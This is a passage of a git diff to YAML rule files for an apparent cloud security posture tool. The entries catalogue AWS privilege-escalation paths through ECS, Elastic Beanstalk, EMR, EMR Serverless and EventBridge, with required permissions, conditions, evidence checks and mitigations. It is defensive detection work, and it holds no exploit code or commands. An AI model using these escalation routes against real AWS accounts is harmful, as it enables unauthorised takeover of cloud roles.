ec2_spot_fleet_instance_role_effect_reviewed conditions: - - id: fleet_role - description: The Spot Fleet role must trust spotfleet.amazonaws.com and the source must be allowed to pass it. The Spot Fleet and Spot service-linked roles must exist or be creatable. - - id: launch_capacity - description: The requested AMI, subnet, security group, storage and instance must all satisfy the caller's EC2 launch permissions; the fleet must obtain capacity and run controlled code. - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict use of the instance-profile role. + - id: exact_fleet_launch_role_effect + description: Fresh reviewed evidence must bind a successful fleet request, both exact passed roles, all launch authorization resources, a member instance using the profile, and a useful action executed under the instance role. blockers: - scp_or_boundary_deny confidence: conditional @@ -317,4 +287,4 @@ mitigation: Restrict ec2:RequestSpotFleet and iam:PassRole to approved instance profiles and fleet service roles. references: - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-prerequisites.html - notes: Spot Fleet may keep relaunching instances after the initial request. Fleet-role and launch-resource authorization are separate from the target instance-profile role. + notes: The evaluator checks PassRole on both the fleet role and the instance role with their respective service contexts. It checks RequestSpotFleet and RunInstances on each recorded authorization resource, then requires a witnessed fleet member instance, applied instance profile and useful role action. Missing launch-resource lists, fleet-role identity, capacity or execution evidence remain unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml index ab6de53701..cfa14a5055 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml @@ -7,6 +7,40 @@ # AWS ECS privilege escalation techniques. # Source: hacktricks-cloud aws-ecs-privesc/README.md. +- id: aws-ecs-executecommand + provider: aws + service: ecs + title: Open a running task container with ECS Exec and its task role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsexecutecommand-ecsdescribetasks-and-optionally-a-task-launching-action + source_revision: 171e422299 + summary: The source can run commands in an exact live task container whose running Exec agent and task role are recorded. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: ecs:ExecuteCommand + resource: "*" + target: + kind: aws_role + selector: + any_principal_in_scope: true + scope: same_account + outcome: impersonation + aggregate_as: "Task roles in live ECS containers reachable by Exec in {account}" + preconditions: + - ecs_exec_live_task_role + conditions: + - id: live_task_and_agent + description: The task and its ExecuteCommandAgent must remain running when the session opens. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict ExecuteCommand to approved operators on exact clusters and tasks, and keep task roles narrow. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-exec-run.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: The role is joined from the same running task; this route needs no new PassRole grant. + - id: aws-ecs-passrole-registertaskdefinition-runtask provider: aws service: ecs @@ -18,10 +52,8 @@ all_of: - action: iam:PassRole resource: "{target.arn}" - - action: ecs:RegisterTaskDefinition - resource: "*" - - action: ecs:RunTask - resource: "*" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com target: kind: aws_role selector: @@ -34,6 +66,8 @@ description: iam:PassedToService conditions may restrict this. - id: cluster_and_network description: A cluster with Fargate or EC2 capacity and (for awsvpc) a subnet is required; ecs:RunTask Resource is the task-definition ARN with an ecs:cluster condition. + preconditions: + - ecs_new_task_definition_runtask_ready blockers: - scp_or_boundary_deny confidence: conditional @@ -41,7 +75,7 @@ mitigation: Restrict iam:PassRole on ECS task roles with iam:PassedToService and specific role ARNs. references: - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html - notes: "" + notes: A conditional EC2 route needs a new task-definition family and revision covered by scoped RegisterTaskDefinition and RunTask grants, an active same-Region cluster with an active connected container instance, and PassRole for the target task role. Fargate and network-dependent launches remain unresolved until their launch facts are collected; image pull and placement are conditional. - id: aws-ecs-passrole-runtask-overrides provider: aws @@ -90,10 +124,8 @@ all_of: - action: iam:PassRole resource: "{target.arn}" - - action: ecs:RegisterTaskDefinition - resource: "*" - - action: ecs:StartTask - resource: "*" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com target: kind: aws_role selector: @@ -103,16 +135,18 @@ outcome: workload_execution conditions: - id: container_instance_exists - description: An EC2 (or EXTERNAL) container instance must exist in a covered cluster. + description: An active connected EC2 container instance must exist in the same-Region cluster and be covered by ecs:StartTask conditions. preconditions: - - ecs_container_instance_exists + - ecs_new_task_definition_starttask_ready blockers: - scp_or_boundary_deny confidence: conditional severity: critical mitigation: Restrict iam:PassRole on ECS task roles. - references: [] - notes: "" + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_StartTask.html + notes: Registration and StartTask must cover every revision of one new task-definition family. The evaluator checks the ecs:cluster and ecs:container-instances conditions for the same active connected host and PassRole for the target task role. Image pull and placement remain conditional. - id: aws-ecs-passrole-registertaskdefinition-service provider: aws @@ -125,13 +159,8 @@ all_of: - action: iam:PassRole resource: "{target.arn}" - - action: ecs:RegisterTaskDefinition - resource: "*" - any_of: - - - action: ecs:CreateService - resource: "*" - - - action: ecs:UpdateService - resource: "*" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com target: kind: aws_role selector: @@ -141,14 +170,19 @@ outcome: workload_execution conditions: - id: update_needs_existing_service - description: UpdateService needs an existing service in a covered cluster. + description: UpdateService needs an active existing service in the same cluster; CreateService needs an unused service name. + preconditions: + - ecs_new_task_definition_service_ready blockers: - scp_or_boundary_deny confidence: conditional severity: critical mitigation: Restrict iam:PassRole on ECS task roles and service deployment actions. - references: [] - notes: "" + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_CreateService.html + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_UpdateService.html + notes: Registration must cover every revision of one new task-definition family. CreateService is checked on a new service ARN; UpdateService is checked on an existing active EC2 service without network, load balancer, or discovery settings in an active same-Region cluster with a connected container instance. Both requests bind ecs:cluster and ecs:task-definition to the same resources; other service configurations, image pull, and placement remain conditional or unresolved. - id: aws-ecs-registertaskdefinition-node-escape provider: aws @@ -158,22 +192,12 @@ source_revision: 171e422299 summary: The source can obtain the privileges of the container-instance role and of task roles of tasks co-located on EC2 container instances by running a privileged/host-mounted container it controls. requires: - all_of: - - action: ecs:RegisterTaskDefinition - resource: "*" - any_of: - - - action: ecs:RunTask - resource: "*" - - - action: ecs:StartTask - resource: "*" - - - action: ecs:CreateService - resource: "*" - - - action: ecs:UpdateService - resource: "*" + all_of: [] + source_kind: [aws_user, aws_role] target: kind: aws_role selector: - ecs_container_instance_role_in_cluster_covered_by: ecs:RunTask + any_principal_in_scope: true scope: same_account aggregate_as: "ECS container-instance roles and co-located task roles in clusters covered by the launch action in {account}" conditions: @@ -181,13 +205,17 @@ description: Only EC2-launch-type capacity is affected; Fargate does not allow privileged containers or host access. - id: co_located_tasks description: Other task roles are only reachable for tasks placed on the same instance. + preconditions: + - ecs_privileged_task_exact_host_ready blockers: - scp_or_boundary_deny confidence: conditional severity: high mitigation: Use Fargate for sensitive workloads, block privileged/host-network containers, and restrict task-definition registration. - references: [] - notes: The selector applies to whichever launch action matched; it covers instance-profile roles of container instances plus task roles of tasks on them (ecs_task_role_on_ec2_capacity restricted to those clusters). + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters_ec2.html + notes: A concrete conditional edge requires a privileged task definition and StartTask on the exact active connected Linux EC2 container instance carrying the node role or a running target-role task. RunTask and simple CreateService or UpdateService also qualify when that is the cluster's only registered connected instance. Multi-host placement, image pull, and credential access remain unresolved or conditional. - id: aws-ecs-taskset-primary provider: aws @@ -198,14 +226,10 @@ summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by deploying a task set it controls to a service with the EXTERNAL deployment controller. requires: all_of: - - action: ecs:RegisterTaskDefinition - resource: "*" - - action: ecs:CreateTaskSet - resource: "*" - - action: ecs:UpdateServicePrimaryTaskSet - resource: "*" - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com target: kind: aws_role selector: @@ -216,6 +240,8 @@ conditions: - id: external_controller_service description: A service using the EXTERNAL deployment controller must exist in a covered cluster. + preconditions: + - ecs_external_service_taskset_ready blockers: - scp_or_boundary_deny confidence: conditional @@ -223,7 +249,8 @@ mitigation: Restrict iam:PassRole on ECS task roles and task-set actions. references: - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_CreateTaskSet.html - notes: Without a task role the result is container execution only (no IAM gain). + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: A conditional route requires an active EXTERNAL service with a simple EC2 configuration and a connected container instance. RegisterTaskDefinition must cover every revision of one new family; CreateTaskSet must cover any ECS-generated task-set ID on that service, and UpdateServicePrimaryTaskSet must cover that same service. Image pull and placement remain conditional. - id: aws-ecs-ecscape-agent-impersonation provider: aws @@ -231,7 +258,7 @@ title: Impersonate the ECS agent to obtain credentials of co-located tasks (ECScape) source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/aws-ecscape-privesc.md#impersonate-the-ecs-agent-to-obtain-co-located-task-credentials source_revision: 171e422299 - summary: A source holding the ECS container-instance role can obtain the task roles of other tasks running on the same EC2 container instance. + summary: A source holding the ECS container-instance role can obtain the task and task-execution roles of other tasks running on the same EC2 container instance. requires: all_of: - action: ecs:DiscoverPollEndpoint @@ -244,7 +271,7 @@ trust_allows_service: ecs-tasks.amazonaws.com ecs_task_colocated_with_source_container_instance: "{source.arn}" scope: same_account - aggregate_as: "ECS task roles of tasks co-located with the source's container instances in {account}" + aggregate_as: "ECS task and execution roles co-located with the source's container instances in {account}" conditions: - id: colocated_task description: The target task must run on the same EC2 container instance whose instance-role credentials the source holds (typically obtained by a task reaching IMDS). @@ -258,4 +285,4 @@ references: - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/security-iam-roles.html - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html - notes: Sources are restricted to EC2 container-instance roles (instance profile, trusting ec2.amazonaws.com) and targets to task roles of EC2/EXTERNAL-capable task definitions in the same account whose clusters have registered container instances. Co-location is proven only with ECS container-instance and task placement inventory (ec2InstanceId of the source's instances, containerInstanceArn of the target's tasks); without it the target is an unresolved placeholder (unknown), never a FAIL. + notes: Sources are restricted to EC2 container-instance roles (instance profile, trusting ec2.amazonaws.com). Targets are task or execution roles of EC2/EXTERNAL tasks in the same account, including task-level role overrides. Co-location is proven only with ECS container-instance and task placement inventory (ec2InstanceId of the source's instances, containerInstanceArn of the target's tasks); without it the target is unresolved, never a definite edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml index 019698b808..8206dceb3e 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml @@ -7,58 +7,32 @@ # AWS Elastic Beanstalk privilege escalation techniques. # Source: hacktricks-cloud aws-elastic-beanstalk-privesc/README.md (rev a53b46392c). # Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). -# Beanstalk performs environment changes with the CALLER's credentials (CloudFormation, EC2, Auto Scaling, ELB, S3), -# so these entries are conditional on the broad supporting permissions noted in each entry. +# Environment role execution requires a bound application version, environment, +# instance profile and actual code execution; IAM grants alone cannot prove it. - id: aws-elasticbeanstalk-passrole-create-environment provider: aws service: elasticbeanstalk + source_kind: [aws_user, aws_role] title: Create a Beanstalk application and environment with a passed instance profile source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkcreateapplication-elasticbeanstalkcreateenvironment-elasticbeanstalkcreateapplicationversion-elasticbeanstalkupdateenvironment-iampassrole-and-more source_revision: 6fb9ac51fd summary: The source can obtain the privileges of any passable EC2-trusting role with an instance profile, used as the instance profile of a new Beanstalk environment or of an existing one it updates. requires: - all_of: - - action: iam:PassRole - resource: '{target.arn}' - - action: elasticbeanstalk:CreateApplicationVersion - resource: '*' - - action: s3:PutObject - resource: '*' - any_of: - - - action: elasticbeanstalk:CreateApplication - resource: '*' - - action: elasticbeanstalk:CreateEnvironment - resource: '*' - - action: elasticbeanstalk:UpdateEnvironment - resource: '*' - - action: cloudformation:CreateStack - resource: '*' - - action: ec2:RunInstances - resource: '*' - - action: autoscaling:CreateAutoScalingGroup - resource: '*' - - - action: elasticbeanstalk:UpdateEnvironment - resource: '*' - - action: cloudformation:UpdateStack - resource: '*' + all_of: [] target: kind: aws_role selector: trust_allows_service: ec2.amazonaws.com has_instance_profile: true - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: EC2 instance-profile roles passable in {account} outcome: workload_execution + preconditions: + - elasticbeanstalk_environment_role_effect_reviewed conditions: - - id: supporting_permissions - description: The full set of S3, EC2, CloudFormation, Auto Scaling and Elastic Load Balancing permissions Beanstalk needs (cf. AdministratorAccess-AWSElasticBeanstalk) is approximated by the listed - actions. - - id: existing_environment_variant - description: The update-only alternative needs an existing environment within UpdateEnvironment scope; the instance profile is changed and the attacker application version deployed to it. - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. + - id: exact_environment_role_effect + description: Fresh reviewed evidence must bind the exact application version, environment, instance profile, launched instance and useful role action performed by controlled code. blockers: - scp_or_boundary_deny confidence: conditional @@ -66,4 +40,4 @@ mitigation: Restrict iam:PassRole on instance-profile roles and grant Beanstalk environment-creation rights only to deployment principals. references: - https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess-AWSElasticBeanstalk.html - notes: A principal with these supporting permissions (ec2:RunInstances + PassRole) is usually already covered by the EC2 PassRole edge; this entry records the Beanstalk route. + notes: CreateEnvironment and UpdateEnvironment authorize the exact environment; CreateApplicationVersion authorizes the application and version. A source-controlled S3 bundle must deploy to the same environment, and a launched instance must execute it with the passed role. The service role and any required underlying resource permissions must actually support the operation; an accepted deployment witness establishes this. The PassRole service and associated resource context must be recorded and evaluated. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml index 589696a6b8..1dcef917f4 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml @@ -8,33 +8,64 @@ # Source: hacktricks-cloud aws-emr-privesc/README.md (rev a53b46392c; GetClusterSessionCredentials at 171e422299). # Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). +- id: aws-emr-addjobflowsteps + provider: aws + service: emr + title: Run a step on an existing EMR cluster with its instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreduceaddjobflowsteps--execute-as-an-existing-cluster-instance-profile + source_revision: 171e422299 + summary: A principal allowed to add a command step to an active cluster may use the role of that cluster's EC2 instance profile. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Instance roles of active EMR clusters in {account} + outcome: workload_execution + preconditions: + - emr_existing_cluster_step_instance_role + conditions: + - id: command_step_runs + description: The submitted command step must run on the cluster and be able to use its instance profile credentials. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict AddJobFlowSteps to approved cluster operators and keep EMR instance roles least privileged. + references: + - https://docs.aws.amazon.com/emr/latest/APIReference/API_AddJobFlowSteps.html + - https://docs.aws.amazon.com/emr/latest/ReleaseGuide/emr-commandrunner.html + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-iam-role-for-ec2.html + notes: The evaluator joins a RUNNING or WAITING cluster to its recorded EC2 instance profile, the exact attached IAM role, and AddJobFlowSteps on that cluster ARN. It excludes clusters with runtime-role isolation enabled and leaves uncollected security configurations unresolved. It does not require PassRole for the existing profile. + - id: aws-emr-passrole-runjobflow provider: aws service: emr + source_kind: [aws_user, aws_role] title: Launch an EMR cluster with a passed EC2 instance profile source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#iampassrole-elasticmapreducerunjobflow source_revision: 171e422299 summary: The source can launch an EMR cluster with a passable EC2 instance profile and run bootstrap code on its instances. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - - action: elasticmapreduce:RunJobFlow - resource: "*" + all_of: [] target: kind: aws_role selector: trust_allows_service: ec2.amazonaws.com has_instance_profile: true - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "EC2 instance-profile roles passable in {account}" outcome: workload_execution + preconditions: + - emr_new_cluster_instance_role_effect_reviewed conditions: - id: emr_service_role_passable description: RunJobFlow also requires passing an EMR service role (or the default EMR_DefaultRole must exist and be passable); PassRole must cover it too. - id: passrole_condition_key description: iam:PassedToService conditions may restrict which roles can be passed. + - id: runnable_step + description: The caller must provide an executable bootstrap action or step, and the selected instance profile must be attached to instances that launch successfully. blockers: - scp_or_boundary_deny confidence: conditional @@ -42,19 +73,50 @@ mitigation: Restrict iam:PassRole on EC2 instance-profile and EMR service roles with iam:PassedToService, and restrict elasticmapreduce:RunJobFlow. references: - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-iam-role-for-ec2.html - notes: The EMR service role itself is not reachable (only used by the EMR control plane); the reachable role is the EC2 instance profile role. + notes: RunJobFlow has no resource type, while the selected EC2 instance-profile role and distinct EMR service role both need PassRole. A role edge requires fresh reviewed evidence of an accepted cluster launch, exact service and instance role IDs, an instance belonging to that cluster with the profile applied, controlled bootstrap or step execution and a useful action under the instance role. A requested Auto Scaling role and Spot service-linked role must also be ready when used. Missing launch or execution evidence remains unresolved. + +- id: aws-emr-addjobflowsteps-runtime-role + provider: aws + service: emr + title: Submit an EMR step under an authorized runtime role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreduceaddjobflowsteps--execute-as-an-existing-cluster-instance-profile + source_revision: e0ecce7ba7 + summary: A caller may run a command step under a selected runtime role on an existing EMR cluster with runtime roles enabled. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + emr_runtime_role_of_cluster: true + scope: same_account + aggregate_as: Runtime roles authorized on active EMR clusters in {account} + outcome: workload_execution + preconditions: + - emr_existing_cluster_runtime_step_role + conditions: + - id: executable_step + description: The submitted step must be accepted and run under the selected runtime role; an AddJobFlowSteps grant alone does not prove that execution occurred. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope AddJobFlowSteps to approved clusters and require elasticmapreduce:ExecutionRoleArn to name only the runtime roles each operator needs. + references: + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-steps-runtime-roles.html + - https://docs.aws.amazon.com/emr/latest/APIReference/API_AddJobFlowSteps.html + notes: The evaluator binds a RUNNING or WAITING cluster, its runtime-role security configuration and instance profile, the host role's AssumeRole and TagSession grants, target trust, and the caller's AddJobFlowSteps grant with the selected ExecutionRoleArn. This path does not require caller iam:PassRole. - id: aws-emr-getclustersessioncredentials-runtime-role provider: aws service: emr + source_kind: [aws_user, aws_role] title: Vend endpoint credentials for an EMR runtime role without iam:PassRole - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducegetclustersessioncredentials--vend-a-runtime-roles-credentials-without-iampassrole + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducegetclustersessioncredentials--connect-to-a-runtime-role-cluster-endpoint source_revision: 171e422299 - summary: The source can act as an EMR runtime role on a fine-grained-access-control cluster (submitting work to the cluster endpoints as that role) by retrieving the cluster session credentials for it, without holding iam:PassRole on the role. + summary: A caller may submit work under an EMR runtime role if it can obtain endpoint credentials for that role, reach a compatible endpoint and run a permitted workload. requires: - all_of: - - action: elasticmapreduce:GetClusterSessionCredentials - resource: "arn:{source.partition}:elasticmapreduce:*:{target.account}:cluster/*" + all_of: [] target: kind: aws_role selector: @@ -68,6 +130,8 @@ description: elasticmapreduce:ExecutionRoleArn conditions on the grant can restrict which runtime roles credentials can be retrieved for. - id: cluster_running_with_runtime_roles description: The cluster must be running with a security configuration that enables runtime roles (and Lake Formation / FGAC where applicable). + - id: endpoint_and_workload + description: The returned credentials authenticate only to supported HTTP endpoints; the source needs endpoint reachability and a permitted workload to obtain any role-authorized AWS effect. preconditions: - emr_cluster_session_runtime_role blockers: @@ -79,4 +143,4 @@ - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr.html - https://docs.aws.amazon.com/emr/latest/APIReference/API_GetClusterSessionCredentials.html - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-steps-runtime-roles.html - notes: The evaluator joins target role trust to the EC2 instance profile on a WAITING or RUNNING cluster whose named security configuration enables runtime roles. It checks the exact cluster and requested ExecutionRoleArn. An exact sts:ExternalId trust value is compared with a SHA-256 digest from the configuration, without retaining the raw value; missing evidence stays unresolved. + notes: The evaluator joins target role trust to the EC2 instance profile on a WAITING or RUNNING cluster whose named security configuration enables runtime roles. It checks GetClusterSessionCredentials on that exact cluster and requested ExecutionRoleArn. A role edge also requires fresh reviewed evidence that HTTP credentials connected to a supported endpoint, controlled work ran under the runtime role, and a useful role action succeeded. An exact sts:ExternalId trust value is compared with a SHA-256 digest from the configuration; missing evidence stays unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml index 67a8c0297c..1f9e2a3ba7 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml @@ -14,21 +14,17 @@ - id: aws-emr-serverless-passrole-startjobrun provider: aws service: emr-serverless + source_kind: [aws_user, aws_role] title: Start an EMR Serverless job run with a passed execution role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole source_revision: 171e422299 summary: The source can run job code it controls using a passable EMR Serverless role. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - request_context: - iam:PassedToService: emr-serverless.amazonaws.com + all_of: [] target: kind: aws_role selector: trust_allows_service: emr-serverless.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting emr-serverless.amazonaws.com passable in {account}" outcome: workload_execution @@ -48,24 +44,22 @@ mitigation: Restrict iam:PassRole on EMR Serverless roles with iam:PassedToService=emr-serverless.amazonaws.com and restrict StartJobRun to orchestrators. references: - https://docs.aws.amazon.com/emr/latest/EMR-Serverless-UserGuide/security-iam-runtime-role.html - notes: The evaluator joins an inventoried runnable application with exact StartJobRun and PassRole grants and a same-Region S3 script object writable by the source and readable by the execution role. The emr-containers:StartJobRun variant is aws-emr-containers-passrole-startjobrun. + notes: The evaluator joins an inventoried runnable application with exact StartJobRun and PassRole grants. A role edge requires a fresh reviewed accepted job run whose source-controlled entry point was read and executed under the exact role and performed a useful action unavailable directly to the caller. The recorded PassRole service and associated-resource context are evaluated. Without that execution evidence, the route remains unresolved. - id: aws-emr-containers-passrole-startjobrun provider: aws service: emr-containers + source_kind: [aws_user, aws_role] title: Start an EMR on EKS job run with a passed execution role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole source_revision: 171e422299 summary: The source can obtain the privileges of an EMR on EKS execution role (trusting the EKS cluster OIDC provider for emr-containers-sa-* service accounts) by running its own job code on a virtual cluster under that role. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" + all_of: [] target: kind: aws_role selector: trust_allows_emr_containers_oidc: true - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "EMR on EKS execution roles passable in {account}" outcome: workload_execution @@ -84,24 +78,22 @@ references: - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/iam-execution-role.html - notes: The evaluator checks StartJobRun on an inventoried RUNNING virtual cluster in the source account. The EKS namespace and role trust remain conditional. + notes: The evaluator joins StartJobRun on the exact RUNNING virtual cluster to a fresh reviewed job run, a controlled readable artifact, applied execution role, code execution and a useful role action unavailable to the caller. PassRole uses the recorded service and associated-resource context; absent execution evidence remains unresolved. - id: aws-emr-containers-passrole-startjobrun-pod-identity provider: aws service: emr-containers + source_kind: [aws_user, aws_role] title: Start an EMR on EKS job through EKS Pod Identity source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole source_revision: 171e422299 summary: The source can submit a job with a passable execution role when its EKS Pod Identity trust and all three EMR service-account associations are in place. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" + all_of: [] target: kind: aws_role selector: trust_allows_service: pods.eks.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "EMR on EKS Pod Identity execution roles passable in {account}" outcome: workload_execution @@ -120,24 +112,22 @@ references: - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/setting-up-enable-IAM.html - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html - notes: The evaluator binds one RUNNING virtual cluster, an ACTIVE EKS cluster, all three recorded service-account associations, exact PassRole context for pods.eks.amazonaws.com and its EKS cluster ARN, and exact StartJobRun authorization. + notes: The evaluator binds one RUNNING virtual cluster, an ACTIVE EKS cluster, all three recorded service-account associations, exact PassRole context for pods.eks.amazonaws.com and its EKS cluster ARN, and a fresh reviewed job run that executed controlled code with the target role and performed a useful action. - id: aws-emr-containers-getmanagedendpointsessioncredentials provider: aws service: emr-containers + source_kind: [aws_user, aws_role] title: Open an interactive EMR on EKS session as a managed endpoint's execution role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-containersgetmanagedendpointsessioncredentials--iampassrole--interactive-spark-session-as-the-execution-role source_revision: 171e422299 summary: The source can run interactive Spark code as an EMR on EKS execution role by retrieving managed-endpoint session credentials for that role. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" + all_of: [] target: kind: aws_role selector: trust_allows_emr_containers_oidc: true - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "EMR on EKS execution roles of managed endpoints in {account}" outcome: workload_execution @@ -156,4 +146,4 @@ references: - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/connect-emr-studio.html - notes: The evaluator checks the credentials action on an inventoried ACTIVE endpoint of a RUNNING virtual cluster. Endpoint connection and role trust remain conditional. + notes: The evaluator checks the credentials action on an inventoried ACTIVE endpoint of a RUNNING virtual cluster. A role edge needs fresh reviewed evidence that the endpoint token connected, controlled code ran with the exact execution role and a useful action succeeded. Without that runtime evidence the route remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml index bb8bfc698d..a545b2fdc3 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml @@ -14,12 +14,9 @@ source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventscreatesubscriber--iampassrole--execute-supported-aws-apis-through-an-enhanced-bus-universal-target source_revision: 6fb9ac51fd summary: A subscriber may invoke a supported write action through a passed EventBridge role. This does not give the source the role's identity or all its permissions. + source_kind: [aws_user, aws_role] requires: - all_of: - - action: iam:PassRole - resource: '{target.arn}' - request_context: - iam:PassedToService: events.amazonaws.com + all_of: [] target: kind: aws_role selector: @@ -43,4 +40,4 @@ mitigation: Restrict events:CreateSubscriber to bus owners, scope iam:PassRole on EventBridge roles with iam:PassedToService=events.amazonaws.com, and keep delivery roles least-privileged. references: - https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-use-identity-based.html - notes: CreateSubscriber needs permission on the same operational custom event bus and on the new subscriber ARN. The evaluator requires both grants and PutEvents on that bus, but withholds a privilege edge until a supported target action, its exact resource, the role's effective permission, and an actual privilege gain are bound together. A customer KMS key also keeps bus access unresolved until key access is verified. + notes: CreateSubscriber needs permission on the operational custom bus and on the new subscriber name/* ARN used for creation, plus PassRole to events.amazonaws.com. The evaluator binds one accepted universal target and matched event to a successful target delivery under the exact role, including the target action and resource, and excludes actions already available to the caller. A customer KMS key remains unresolved without verified key access. This is delegated execution of one write action, not general access to the role. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml index 0e8a9b9a5b..563629e546 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml @@ -10,39 +10,39 @@ title: Use existing parameterized Automation runbook with runtime PassRole source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role source_revision: 57bd5c07df - summary: The source can execute caller-selected runbook steps as passable role only - when the exact target and prerequisites are verified. Conditional principal access - requires the exact inventoried identity, usable authority equivalent to its observed - full IAM rights, fresh evidence and matching authorization fingerprint. A 